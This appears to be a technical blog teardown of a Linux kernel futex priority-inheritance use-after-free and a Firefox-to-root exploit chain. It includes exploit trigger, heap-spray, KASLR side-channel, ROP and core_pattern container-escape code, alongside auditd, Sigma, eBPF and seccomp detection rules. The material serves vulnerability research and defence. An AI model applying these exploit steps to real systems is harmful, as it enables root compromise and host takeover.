CVE-2026-43499 “GhostLock” + IonStack Full-Chain Teardown: Futex Requeue-PI Stack Use-After-Free to Root and Container Escape
Fifteen years. That is how long a single-word mistake sat in the Linux priority-inheritance code, shipping in every kernel from 2.6.39 forward, surviving lockdep, KASAN fuzzing, and a decade and a half of hardening work. Then in April 2026 someone at Nebula Security noticed that remove_waiter() cleans up the wrong task’s state on one obscure rollback path, and by July they had turned it into a browser tab to root-on-the-host chain they call IonStack. This is the full teardown: the logic error, the stack use-after-free it produces, every exploit primitive from spray to shellcode, the container escape, and how you actually detect and blunt it.
The 15-year-old lock that finally cracked
To understand GhostLock you have to understand what a PI (priority-inheritance) futex is trying to do, because the bug lives in the plumbing that makes PI work.
A normal futex is just a userspace word plus a kernel wait queue. A PI futex adds a promise: if a low-priority thread holds the lock and a high-priority thread blocks on it, the kernel temporarily boosts the holder’s priority so it can finish and release. That boosting logic is not implemented in the futex code itself. It is delegated to the real-time mutex (rtmutex) subsystem in kernel/locking/rtmutex.c, and the glue between them is a set of “proxy lock” functions.
Two data structures carry the whole scheme:
| Structure / field | Header | Role |
|---|---|---|
struct rt_mutex_waiter | include/linux/rtmutex.h | A stack-allocated record describing one blocked thread. Holds .task, .tree_entry, .pi_tree_entry, .prio |
task_struct::pi_blocked_on | include/linux/sched.h | Pointer from a task to the rt_mutex_waiter it is currently sleeping on |
task_struct::pi_lock | include/linux/sched.h | Raw spinlock guarding pi_blocked_on and the task’s PI waiter list |
The critical thing to internalise: rt_mutex_waiter objects are almost always allocated on the kernel stack of the blocking thread. When a thread calls futex(FUTEX_LOCK_PI) and has to sleep, the kernel builds an rt_mutex_waiter in a local variable inside rt_mutex_slowlock(), enqueues it into the lock’s red-black tree, points current->pi_blocked_on at it, and schedules away. When the thread wakes and cleans up, that stack frame goes away. Perfectly safe, as long as the thread that owns the waiter is the same thread doing the cleanup.
The requeue-PI path breaks that assumption. Here is the call graph that matters:
sys_futex(FUTEX_CMP_REQUEUE_PI)
-> futex_requeue() kernel/futex/requeue.c
-> rt_mutex_start_proxy_lock() kernel/locking/rtmutex.c
-> __rt_mutex_start_proxy_lock() (returns -EDEADLK on a PI cycle)
-> remove_waiter() <-- the buggy cleanup
-> rt_mutex_adjust_prio_chain() <-- later derefs the stale pointer
rt_mutex_start_proxy_lock() exists so one thread can acquire a lock on behalf of another sleeping thread. This is exactly what FUTEX_CMP_REQUEUE_PI needs: thread C moves thread B’s wait from one futex word to another and, in doing so, tries to acquire the target rtmutex for B. The waiter being manipulated belongs to B, but the thread running the code is C. That mismatch is the entire vulnerability.
remove_waiter(): a one-word logic error
remove_waiter() is shared code. It runs in the ordinary slowlock path, where waiter->task == current, and it runs in the proxy rollback path, where waiter->task is some other thread entirely. It was written assuming the first case always holds.
Here is the shape of the pre-fix function, condensed to the fields that matter:
/* kernel/locking/rtmutex.c -- VULNERABLE */
static void remove_waiter(struct rt_mutex_base *lock,
struct rt_mutex_waiter *waiter)
{
bool is_top_waiter = (waiter == rt_mutex_top_waiter(lock));
struct task_struct *owner = rt_mutex_owner(lock);
lockdep_assert_held(&lock->wait_lock);
/* BUG: locks CURRENT's pi_lock, not the owner of the waiter */
raw_spin_lock(¤t->pi_lock);
rt_mutex_dequeue(lock, waiter);
current->pi_blocked_on = NULL; /* clears the WRONG task */
raw_spin_unlock(¤t->pi_lock);
...
rt_mutex_adjust_prio_chain(owner, ...);
}
And the April 2026 fix, commit 3bfdc63936dd (“rtmutex: Use waiter::task instead of current in remove_waiter()”):
/* kernel/locking/rtmutex.c -- PATCHED */
static void remove_waiter(struct rt_mutex_base *lock,
struct rt_mutex_waiter *waiter)
{
bool is_top_waiter = (waiter == rt_mutex_top_waiter(lock));
struct task_struct *owner = rt_mutex_owner(lock);
struct task_struct *task = waiter->task; /* <-- the fix */
lockdep_assert_held(&lock->wait_lock);
raw_spin_lock(&task->pi_lock);
rt_mutex_dequeue(lock, waiter);
task->pi_blocked_on = NULL; /* clears the RIGHT task */
raw_spin_unlock(&task->pi_lock);
...
rt_mutex_adjust_prio_chain(owner, ...);
}
The diff is essentially s/current/waiter->task/. In the proxy path where current is thread C but waiter belongs to thread B, the vulnerable code does two damaging things:
- It performs the red-black tree dequeue while holding C’s
pi_lock, not B’s. B’s PI state is now being mutated with the wrong lock held, so any concurrent priority-chain walk on B races freely. - It sets
current->pi_blocked_on = NULL, clearing C’s pointer (which was already null) and leaving B’spi_blocked_onstill pointing at thert_mutex_waiteron B’s kernel stack. That is the dangling pointer.
Why did lockdep never catch this in fifteen years? Because lockdep validates that a pi_lock is held during the dequeue. It does not validate whose. From lockdep’s perspective, raw_spin_lock(¤t->pi_lock) and raw_spin_lock(&task->pi_lock) are the same lock class, so the assertion passed on every run. This is the recurring lesson of long-lived kernel bugs: the sanitizer checks the shape of the code, not the semantics.
Building the deadlock: three threads, three futex words
The buggy branch is only reached when __rt_mutex_start_proxy_lock() returns -EDEADLK. To force that, you construct a genuine PI dependency cycle so the deadlock detector fires and drops you into the rollback path. Three threads and three PI futex words do it:
/* Didactic layout - not a drop-in exploit */
uint32_t f_A, f_B, f_C; /* three PI futex words, initialized 0 */
/* T_owner: holds f_B */
void *owner_thread(void *_) {
futex_lock_pi(&f_B); /* acquires f_B outright */
park_forever(); /* keep holding it */
}
/* T_waiter: holds f_A, will block waiting to be requeued onto f_B */
void *waiter_thread(void *_) {
futex_lock_pi(&f_A); /* acquires f_A */
/* blocks on f_C, prepared to be requeued to f_B */
futex_wait_requeue_pi(&f_C, 0, &f_B);
/* on return, this frame (with its rt_mutex_waiter) unwinds */
thread_exit();
}
/* T_requeue: moves T_waiter's wait from f_C onto f_B */
void *requeue_thread(void *_) {
/* f_C expected value 0, requeue 1 waiter to f_B */
syscall(SYS_futex, &f_C, FUTEX_CMP_REQUEUE_PI,
1 /*nr_wake*/, 0 /*nr_requeue*/, &f_B, 0);
/* kernel sees the cycle:
T_waiter -> f_B -> T_owner -> f_A -> T_waiter
__rt_mutex_start_proxy_lock() returns -EDEADLK,
remove_waiter() runs with current=T_requeue, waiter->task=T_waiter */
}
When the cycle is detected, remove_waiter() unwinds with the mismatched identities. T_waiter->pi_blocked_on is left pointing at the rt_mutex_waiter living on T_waiter‘s kernel stack. Now you let T_waiter return from the syscall and exit, or simply spawn enough threads that its stack gets recycled. The pointer is now stale. You have a stack use-after-free (CWE-416), and the officially assigned CVSS is 7.8, AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H. No capabilities, no user namespace, only CONFIG_FUTEX_PI=y, which is on in every mainstream distro.
The affected range runs from v2.6.39-rc1, where the rtmutex PI rework landed in commit 8161239a8bcc, all the way to v7.1-rc1. Nebula’s own note is worth repeating: the race window is wide, and they believe GhostLock is exploitable even on a single-core CPU because the chain walk and the reclaim do not need true parallelism, just the right scheduling.

From dangling pointer to freed frame
The dangling pi_blocked_on is not yet dangerous. It becomes a UAF only when the memory it points to is (a) freed and (b) reclaimed with attacker-controlled contents while the kernel still dereferences it.
Kernel stacks are 16 KB (THREAD_SIZE on x86-64), allocated from the vmap stack region or the page allocator depending on CONFIG_VMAP_STACK. When T_waiter exits, its stack is freed back to that allocator. The rt_mutex_waiter occupied a well-defined offset inside the topmost frame of rt_mutex_slowlock() / the requeue-PI wait, and because CONFIG_RANDOMIZE_KSTACK_OFFSET is off in our lab kernel, that offset is deterministic across runs. That determinism is what makes the freed region addressable: you know exactly which bytes you need to control.
The activation step is a priority-chain walk. If you call sched_setattr() against T_waiter‘s TID (or trigger any path that boosts/deboosts it) after the free but while pi_blocked_on is stale, rt_mutex_adjust_prio_chain() reads that pointer and walks into freed-and-reclaimed memory:
/* Second CPU / second thread: force the chain walk over the stale waiter */
struct sched_attr attr = { .size = sizeof(attr),
.sched_policy = SCHED_NORMAL,
.sched_nice = -5 };
syscall(SYS_sched_setattr, waiter_tid, &attr, 0);
Spraying the freed frame: forging a fake rt_mutex_waiter
Between the free and the chain walk you drop attacker bytes onto the exact freed stack page. Nebula’s PoC uses prctl(PR_SET_MM, PR_SET_MM_MAP, ...), and it is a clean choice: the prctl_mm_map buffer is large, aligned, has no namespace requirement, and the kernel copy_from_users it into a kernel allocation whose layout you can straddle across a page boundary.
/* Forge a fake rt_mutex_waiter over the freed stack address. */
/* prctl(PR_SET_MM, PR_SET_MM_MAP, &map, sizeof(map)) copies map into */
/* kernel memory; combined with a memfd-backed buffer and a racing */
/* fallocate(FALLOC_FL_PUNCH_HOLE) on the trailing page, the copy window */
/* is stretched so the tail lands on the target freed stack page. */
struct rt_mutex_waiter fake = {0};
fake.task = NULL; /* controlled */
fake.tree_entry.rb_right = (struct rb_node *)TARGET_WRITE_ADDR;
fake.tree_entry.rb_left = NULL; /* single-child root */
fake.prio = -1; /* RT_MUTEX_MAX_PRIO: win ordering */
struct prctl_mm_map map = { /* ... auxv/brk/etc. filled to satisfy checks ... */ };
/* the payload region overlaps &fake at the freed stack offset */
syscall(SYS_prctl, PR_SET_MM, PR_SET_MM_MAP, &map, sizeof(map), 0);
The two rb-tree node pointers, .tree_entry.rb_left and .tree_entry.rb_right, are the whole game, and I will explain why in the next section. Setting .prio to the maximum forces the forged node to sort as the tree root so the erase path we want is taken.
If prctl is filtered by seccomp, the same reclaim works with clone(), setsockopt(), pselect(), or keyctl(). Any syscall that stashes a large, attacker-controlled buffer as a kernel-side local or heap object at the right size class does the job. prctl is just the most convenient.
The write primitive: rb-tree erase into inet6_protos[]
Here is the elegant part. When the chain walk reaches your forged waiter and decides to remove it, rt_mutex_dequeue() calls into the standard red-black tree erase. Erasing a node that is the root and has a single child collapses the tree by writing that child pointer into the root slot:
before: after erase(root):
[root] -> right [right] becomes new root
\
[child] root_slot = child <-- attacker-chosen pointer write
So a single-child-root erase gives you one constrained pointer write: it writes a pointer you control (.rb_right) to a location you control (the address of the tree root, which you also positioned). That is enough.
The target Nebula chose is inet6_protos[IPPROTO_UDP], the global table of IPv6 protocol handlers. Entry 17 (IPPROTO_UDP) normally points at the real struct inet6_protocol for UDP. Overwrite it with a pointer to a fake inet6_protocol you built in the CPU entry area (CEA), and the fake’s .handler field becomes your RIP:
struct inet6_protocol fake = {
.handler = (void *)PIVOT_GADGET, /* stack pivot / first ROP gadget */
.flags = INET6_PROTO_NOPOLICY,
};
/* CEA is a fixed, non-randomized mapping that is always executable-adjacent
and reachable, which is exactly why exploit authors love parking fakes there. */
The CEA is attractive because it sits at a known, fixed virtual address independent of the physmap and the kernel image slide, so once you have your fake struct there you do not need a leak to reference it.

Beating KASLR with a prefetch side channel
You still need the kernel image slide (for gadget addresses) and the physmap base (for building pointers into controlled data). GhostLock’s PoC recovers both without a memory-disclosure gadget by timing the prefetcht0 instruction.
/* Timing prefetcht0 on candidate kernel addresses.
If the address is mapped in the kernel's page tables, the TLB/cache
behaviour differs measurably from an unmapped address, even though the
access itself never faults. Sweep candidate slots, take the timing
differential, and the mapped kernel base pops out. */
static inline uint64_t time_prefetch(void *p) {
uint64_t t0, t1;
t0 = __rdtscp(&aux);
__builtin_prefetch(p, 0, 3);
t1 = __rdtscp(&aux);
return t1 - t0;
}
The prefetch side channel is the workhorse for defeating KASLR on modern Intel and AMD parts because prefetch does not raise a fault on a kernel address from userspace, but the microarchitectural timing still leaks whether the translation exists. Sweep the possible KASLR slots (there are a few hundred at 2 MB granularity), find the low-latency band, and you have the slide. Repeat against the physmap region to anchor your controlled-data pointers.
Control-flow hijack to root via core_pattern
With inet6_protos[IPPROTO_UDP] pointing at your fake handler, you fire the trigger by sending a single loopback IPv6 UDP packet:
import socket
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
s.sendto(b"A", ("::1", 9999)) # kernel dispatches to inet6_protos[17]->handler
The kernel dispatches into your fake .handler, which is a stack-pivot gadget. From there the ROP chain does the classic dance:
pop rdi ; ret ; rdi = 0
call prepare_kernel_cred
mov rdi, rax ; ...
call commit_creds ; current now has root creds
<write core_pattern mode bits> ; "|/tmp/r" style handler
swapgs ; iretq ; return cleanly to userspace
Rather than executing shellcode in-kernel, the chain flips core_pattern so that the next crashing process pipes its core dump to /tmp/r, which the kernel runs as root in the initial namespace. That is the pivot: one kernel write, then the rest of the escalation is boring userspace. Segfault a throwaway process, /tmp/r runs as UID 0, done.
Escaping the container
core_pattern is a global, host-level setting. It is not namespaced. A container process with the ability to reach the vulnerable futex path can rewrite core_pattern, and the helper it names executes in the host’s initial mount and PID namespace, as root, outside the container entirely. That is the container escape in one sentence.
Concretely, inside an unprivileged container:
/* 1. Run GhostLock -> get kernel code execution / root creds. */
/* 2. Rewrite core_pattern to a host-visible helper path. */
/* 3. Trigger a crash; helper runs in host namespace as root. */
/* Or pivot directly: */
int fd = open("/proc/1/ns/mnt", O_RDONLY);
setns(fd, CLONE_NEWNS); /* enter host mount namespace */
/* now open_tree / move_mount, or nsenter host PID/net ns via /proc/1/ns/ */
The uncomfortable truth for container operators: default seccomp profiles in Docker and containerd allow futex with all operations, including FUTEX_CMP_REQUEUE_PI. User namespaces are not required for GhostLock, so userns restrictions do not help. The kernel is shared, so a kernel LPE is a host compromise. This is why “the container is a security boundary” keeps failing against kernel bugs, and GhostLock is a textbook example.

IonStack: from a Firefox tab to root on the host
Nebula’s headline demo is IonStack, and GhostLock is only the back half. The front half is CVE-2026-10702, a JIT miscompilation deep inside IonMonkey, Firefox’s optimizing JavaScript compiler. Mozilla fixed it in Firefox 151.0.3 (advisory MFSA2026-54), classified CWE-843, type confusion.
The mechanism: IonMonkey’s instruction modeling produced incorrect machine code for certain JS sequences, so the JIT emitted code that treated a value as the wrong type. That type confusion yields out-of-bounds access and memory corruption inside the content process, which is enough for arbitrary code execution in the renderer.
The chain reads like this:
| Stage | CVE | What it achieves |
|---|---|---|
| 1. Malicious page | CVE-2026-10702 | IonMonkey miscompile -> type confusion -> RCE in Firefox content process |
| 2. Sandbox escape | CVE-2026-10702 (same primitive) | Corrupt renderer, break out of the content sandbox |
| 3. Kernel LPE | CVE-2026-43499 | GhostLock: content-process code triggers requeue-PI UAF -> root |
| 4. Host / container escape | CVE-2026-43499 | core_pattern pivot -> code execution in host namespace |
The handoff is the interesting engineering: the browser stage only needs to reach the futex syscall with the FUTEX_CMP_REQUEUE_PI op and be able to mmap/prctl its spray. Firefox’s content sandbox restricts a lot, but the futex path and the reclaim syscalls survive in enough configurations that Nebula demonstrated the entire sequence, one tap on a link to full control, against Firefox on Android. That is the nightmare scenario: no user interaction beyond a click, no privilege prompt, browser to root.

The patch, and the patch’s patch
Fixing a fifteen-year-old bug in one commit is optimistic, and sure enough the first fix regressed. syzbot fuzzing turned up a KASAN null-pointer dereference:
KASAN: null-ptr-deref in range [0x0000000000000a88-0x0000000000000a8f]
remove_waiter+0x159/0x1200 kernel/locking/rtmutex.c:1561
Call Trace:
__rt_mutex_start_proxy_lock
futex_requeue
__x64_sys_futex (FUTEX_CMP_REQUEUE_PI)
Root cause: when task_blocks_on_rt_mutex() detects a deadlock early and returns without ever “arming” the waiter, waiter->task is still NULL. The now-corrected remove_waiter(), which dereferences waiter->task->pi_lock, then oopses on the null. The additional fix, commit 1a1fb985f2e2 (“futex: Handle early deadlock return correctly”), teaches the requeue path to handle the unarmed-waiter case rather than blindly calling remove_waiter().
A hard accuracy note for readers: the tutorial brief for this piece labelled the follow-up as CVE-2026-53166, while the primary-source trail (SentinelOne’s vulnerability entry, the kernel.org commit history) points to CVE-2026-53163 for the rtmutex null-pointer follow-up. One of those is very likely a transposition error in a secondary source. Before you cite either number in a report or a patch ticket, cross-reference the NVD entry and the kernel.org changelog for commit 1a1fb985f2e2 yourself. Do not trust the number from a blog, including this one. The lesson stands regardless of the digits: install your distro’s current kernel, not the first build that mentions GhostLock, because the earliest patched builds carried the regression. As of early July, Ubuntu had fixed its newest release and some cloud kernels but still listed 24.04, 22.04, and 20.04 LTS as vulnerable or in progress.
Detection and defense
You cannot rely on patching alone during the window between disclosure and fleet-wide rollout, so build telemetry now.
auditd rules. The futex syscall is number 202 on x86-64. FUTEX_CMP_REQUEUE_PI is op 12; OR’d with FUTEX_PRIVATE_FLAG (128) it appears as 0x8c in the second argument. Anomalous here means an unprivileged process issuing a burst of these.
-a always,exit -F arch=b64 -S futex -F a1=0x8c -k ghostlock_requeue_pi
-a always,exit -F arch=b64 -S prctl -F a0=15 -k prctl_set_mm # PR_SET_MM spray
-a always,exit -F arch=b64 -S sched_setattr -k sched_setattr_walk # chain-walk trigger
Sigma correlation. A single requeue-PI call is normal for RT apps; a burst from a non-root PID inside seconds is not.
title: Suspicious FUTEX_CMP_REQUEUE_PI burst from unprivileged process
status: experimental
logsource: { product: linux, service: auditd }
detection:
selection:
type: SYSCALL
syscall: futex
a1: '0x8c'
uid: '!0'
timeframe: 5s
condition: selection | count() by pid > 10
falsepositives:
- Real-time apps using PI futexes (rare; validate by process name)
level: high
tags: [attack.privilege_escalation, attack.T1068]
eBPF semantic detection. The most precise signal is the bug’s own signature: remove_waiter() called where waiter->task != current. Confirm the struct layout against the running kernel’s BTF first.
kprobe:remove_waiter {
$w = (struct rt_mutex_waiter *)arg1;
if ($w->task != 0 && $w->task != curtask) {
printf("ANOMALY: remove_waiter on task %d by task %d\n",
$w->task->pid, curtask->pid);
}
}
Crash telemetry. Forward dmesg and the kernel journal facility centrally and alert on BUG:, KASAN, or Oops: lines naming rtmutex or futex symbols. Watch kdump and systemd-coredump for new dumps pointing into kernel/locking/rtmutex.c. Failed exploit attempts oops loudly.
Container hardening. If your workloads do not need PI futexes, block the op at the seccomp layer, masking off the private flag so you match the base operation:
{ "names": ["futex"], "action": "SCMP_ACT_ERRNO",
"args": [{ "index": 1, "value": 12, "op": "SCMP_CMP_MASKED_EQ", "valueTwo": 15 }] }
Partial mitigations. These raise cost, they do not fix the bug:
| Mitigation | Kconfig | Effect |
|---|---|---|
| Stack offset randomization | CONFIG_RANDOMIZE_KSTACK_OFFSET | Randomizes per-syscall frame offset; breaks deterministic spray placement |
| Static usermode helper | CONFIG_STATIC_USERMODEHELPER | Neutralizes the core_pattern root pivot |
| KASAN | CONFIG_KASAN | Catches the UAF instantly; debug-only, too slow for prod |
| seccomp | runtime | Blocks the trigger op in containers |
ATT&CK mapping: T1068 (Exploitation for Privilege Escalation) for the core LPE, T1611 (Escape to Host) for the core_pattern container break, and T1189 (Drive-by Compromise) for the IonStack browser entry.
What kernelCTF paid, and why it matters
GhostLock came in through Google’s kernelCTF program, which pays for working exploits against upstream and stable kernels. Nebula’s reported payout was $92,337. That number is worth staring at. A single-word logic error that lived for fifteen years, exploitable without capabilities or namespaces, chainable from a browser to root on the host, was worth under six figures through a bounty. On a private exploit market or to a broker, a Firefox-to-root-on-Android chain like IonStack would command a multiple of that easily. kernelCTF’s economics are a deliberate subsidy: pay enough to pull talented researchers toward disclosure, cheaply relative to the damage, and get the bug fixed upstream where every distro inherits it. GhostLock is the argument for that program in one CVE.
Key Takeaways
- The bug is one word.
currentinstead ofwaiter->taskinremove_waiter()left another thread’spi_blocked_ondangling at a stack address, for fifteen years, because lockdep checks whether a lock is held, never whose. - Stack UAFs are back. Deterministic stack-frame layout plus a reclaim syscall (
prctlPR_SET_MM_MAP, orclone/setsockopt/keyctl) turns a dangling waiter into a forged object and one rb-tree erase into a controlled write. - Containers are not a kernel boundary. No capabilities, no user namespace, and
core_patternis global. Default Docker seccomp allows the trigger op. A kernel LPE is a host compromise. - Patch to your distro’s current build, not the first one. The initial fix regressed into a null-ptr deref (CVE-2026-53163, and verify that ID yourself against NVD and kernel.org). Confirm both
3bfdc63936ddand1a1fb985f2e2are present. - Detect the semantics, not the syscall. The cleanest signal is
remove_waiter()wherewaiter->task != current; the cheapest is an auditd/Sigma burst rule ona1=0x8cfrom non-root PIDs.
Related Tutorials
- Classic Stack Buffer Overflow: Smashing the Stack on Windows
- Understanding the Stack: Frames, Prologue/Epilogue, and Stack Layout
References
- IonStack Part II: GhostLock, a stack-UAF that has existed in ALL Linux distributions for 15 years (Nebula Security – Primary Research Writeup)
- GitHub – MobiusM/CVE-2026-43499: CVE-2026-43499 PoC (Proof-of-Concept Exploit Code)
- 15-Year-Old GhostLock Flaw Enables Root and Container Escape on Most Linux Distros (The Hacker News)
- Futex Requeue PI – Official Linux Kernel Documentation (docs.kernel.org)
- GhostLock (CVE-2026-43499) Independent Technical Deep-Dive Blog (guysrd.github.io)